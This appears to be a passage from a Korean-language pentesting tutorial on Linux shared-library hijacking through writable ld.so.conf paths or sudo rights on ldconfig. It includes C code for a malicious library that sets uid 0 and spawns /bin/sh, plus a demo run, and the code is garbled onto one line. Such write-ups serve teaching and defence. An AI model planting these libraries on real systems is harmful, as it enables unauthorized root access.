취약한 폴더는 _/home/ubuntu/lib_입니다(쓰기 권한이 있는 곳입니다).
다음 코드를 해당 경로에 다운로드하고 컴파일하세요:
//gcc -shared -o libcustom.so -fPIC libcustom.c#include<stdio.h>#include<unistd.h>#include<sys/types.h>voidvuln_func(){setuid(0);setgid(0);printf("I'm the bad library\n");system("/bin/sh",NULL,NULL);}
이제 잘못 구성된 경로 내에 악성 libcustom 라이브러리를 생성했으므로, 재부팅을 기다리거나 루트 사용자가 **ldconfig**를 실행하도록 기다려야 합니다. (sudo로 이 바이너리를 실행할 수 있거나 suid 비트가 설정되어 있다면 직접 실행할 수 있을 것입니다).
이 과정이 완료되면 sharevuln 실행 파일이 libcustom.so 라이브러리를 어디에서 로드하는지 재확인하세요.
보시다시피 /home/ubuntu/lib에서 로드하고 있으며, 사용자가 실행하면 셸이 실행됩니다:
$ ./sharedvulnWelcome to my amazing application!I'm the bad library$ whoamiubuntu
이 예제에서는 권한 상승을 하지 않았지만, 실행되는 명령을 수정하고 루트 또는 다른 특권 사용자가 취약한 이진 파일을 실행하도록 기다린다면 권한 상승이 가능합니다.
다른 구성 오류 - 동일한 취약점
이전 예제에서는 관리자가 /etc/ld.so.conf.d/ 내부의 구성 파일에 비특권 폴더를 설정한 것을 가장한 구성 오류를 가짜로 만들었습니다.
하지만 /etc/ld.so.conf.d 폴더 내의 구성 파일 또는 /etc/ld.so.conf 파일에 쓰기 권한이 있다면 동일한 취약점을 유발할 수 있는 다른 구성 오류가 있을 수 있습니다.
Exploit 2
ldconfig에 대한 sudo 권한이 있다고 가정해 봅시다.
ldconfig가 어디에서 구성 파일을 로드할지를 지정할 수 있으므로, 우리는 이를 이용하여 ldconfig가 임의의 폴더를 로드하도록 할 수 있습니다.
그러므로, "/tmp"를 로드하기 위해 필요한 파일과 폴더를 생성해 봅시다:
ldconfig가 suid 비트로 구성된 경우 이 취약점을 신뢰할 수 있는 방법으로 악용할 수 없었습니다. 다음 오류가 발생합니다: /sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied